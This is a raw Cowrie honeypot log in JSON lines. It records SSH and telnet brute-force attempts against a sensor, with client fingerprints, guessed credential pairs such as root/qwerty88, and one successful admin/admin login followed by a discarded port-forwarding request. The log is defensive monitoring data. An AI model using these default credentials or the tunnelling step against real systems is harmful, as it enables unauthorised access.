{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:48:16.487669Z","src_ip":"194.113.233.25","session":"f7643ec52879","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":45460,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae3ba166698c","protocol":"ssh","message":"New connection: 87.251.64.176:45460 (10.17.0.5:22) [session: ae3ba166698c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:48:22.367137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:48:22.371763Z","src_ip":"87.251.64.176","session":"ae3ba166698c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:48:22.522856Z","src_ip":"87.251.64.176","session":"ae3ba166698c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:48:22.917106Z","src_ip":"87.251.64.176","session":"ae3ba166698c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:48:23.043279Z","session":"ae3ba166698c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:48:23.150005Z","src_ip":"87.251.64.176","session":"ae3ba166698c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:48:23.298981Z","src_ip":"87.251.64.176","session":"ae3ba166698c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.44008255004883,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:48:32.128556Z","src_ip":"152.42.224.71","session":"92fbe8b3571b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47030,"dst_ip":"10.17.0.5","dst_port":23,"session":"95334cf498fd","protocol":"telnet","message":"New connection: 152.42.224.71:47030 (10.17.0.5:23) [session: 95334cf498fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:48:34.055309Z"}
{"eventid":"cowrie.session.closed","duration":44.734567165374756,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:49:18.789797Z","src_ip":"152.42.224.71","session":"95334cf498fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":42594,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e5c705b2811","protocol":"telnet","message":"New connection: 213.108.3.46:42594 (159.203.135.109:23) [session: 5e5c705b2811]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:49:31.218499Z"}
{"eventid":"cowrie.session.closed","duration":0.014187335968017578,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:49:31.232549Z","src_ip":"213.108.3.46","session":"5e5c705b2811","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":36858,"dst_ip":"10.17.0.5","dst_port":22,"session":"1aa7ec86fd39","protocol":"ssh","message":"New connection: 80.94.92.184:36858 (10.17.0.5:22) [session: 1aa7ec86fd39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:49:47.221084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:49:47.342234Z","src_ip":"80.94.92.184","session":"1aa7ec86fd39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:49:47.346300Z","src_ip":"80.94.92.184","session":"1aa7ec86fd39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:49:48.643147Z","src_ip":"80.94.92.184","session":"1aa7ec86fd39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:49:49.754914Z","src_ip":"80.94.92.184","session":"1aa7ec86fd39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57766,"dst_ip":"10.17.0.5","dst_port":23,"session":"99f1f8371864","protocol":"telnet","message":"New connection: 152.42.224.71:57766 (10.17.0.5:23) [session: 99f1f8371864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:50:18.703525Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":55074,"dst_ip":"159.203.135.109","dst_port":22,"session":"62f3b6359f40","protocol":"ssh","message":"New connection: 103.77.175.15:55074 (159.203.135.109:22) [session: 62f3b6359f40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:50:30.292886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:50:30.298943Z","src_ip":"103.77.175.15","session":"62f3b6359f40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:50:30.566431Z","src_ip":"103.77.175.15","session":"62f3b6359f40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yfcntymrf","message":"login attempt [root/yfcntymrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:50:31.385511Z","src_ip":"103.77.175.15","session":"62f3b6359f40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:50:32.654334Z","src_ip":"103.77.175.15","session":"62f3b6359f40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.31713533401489,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:51:13.020566Z","src_ip":"152.42.224.71","session":"99f1f8371864","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":49342,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ad2cda6997d","protocol":"ssh","message":"New connection: 37.233.85.71:49342 (10.17.0.5:22) [session: 9ad2cda6997d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:51:14.747493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:51:14.753805Z","src_ip":"37.233.85.71","session":"9ad2cda6997d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:51:14.858175Z","src_ip":"37.233.85.71","session":"9ad2cda6997d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sergio","message":"login attempt [root/sergio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:51:15.161212Z","src_ip":"37.233.85.71","session":"9ad2cda6997d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:51:16.264974Z","src_ip":"37.233.85.71","session":"9ad2cda6997d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":37314,"dst_ip":"10.17.0.5","dst_port":22,"session":"194f62a88cb9","protocol":"ssh","message":"New connection: 103.176.20.57:37314 (10.17.0.5:22) [session: 194f62a88cb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:51:23.663413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:51:23.694208Z","src_ip":"103.176.20.57","session":"194f62a88cb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:51:23.916192Z","src_ip":"103.176.20.57","session":"194f62a88cb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty88","message":"login attempt [root/qwerty88] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:51:24.917518Z","src_ip":"103.176.20.57","session":"194f62a88cb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:51:26.172016Z","src_ip":"103.176.20.57","session":"194f62a88cb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.134.38.104","src_port":51358,"dst_ip":"159.203.135.109","dst_port":23,"session":"d07b933fcba4","protocol":"telnet","message":"New connection: 220.134.38.104:51358 (159.203.135.109:23) [session: d07b933fcba4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:51:30.519768Z"}
{"eventid":"cowrie.session.closed","duration":13.243101835250854,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:51:43.762769Z","src_ip":"220.134.38.104","session":"d07b933fcba4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":45422,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8769168c414","protocol":"ssh","message":"New connection: 103.27.238.120:45422 (10.17.0.5:22) [session: f8769168c414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:52:29.064965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:52:29.069484Z","src_ip":"103.27.238.120","session":"f8769168c414","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:52:29.339247Z","src_ip":"103.27.238.120","session":"f8769168c414","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890qw","message":"login attempt [root/1234567890qw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:52:30.147026Z","src_ip":"103.27.238.120","session":"f8769168c414","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:52:31.420179Z","src_ip":"103.27.238.120","session":"f8769168c414","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":39528,"dst_ip":"10.17.0.5","dst_port":22,"session":"02b05f547660","protocol":"ssh","message":"New connection: 80.94.92.184:39528 (10.17.0.5:22) [session: 02b05f547660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:52:32.179002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:52:32.361317Z","src_ip":"80.94.92.184","session":"02b05f547660","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:52:32.365216Z","src_ip":"80.94.92.184","session":"02b05f547660","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:52:34.209567Z","src_ip":"80.94.92.184","session":"02b05f547660","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:52:35.449711Z","src_ip":"80.94.92.184","session":"02b05f547660","protocol":"ssh"}
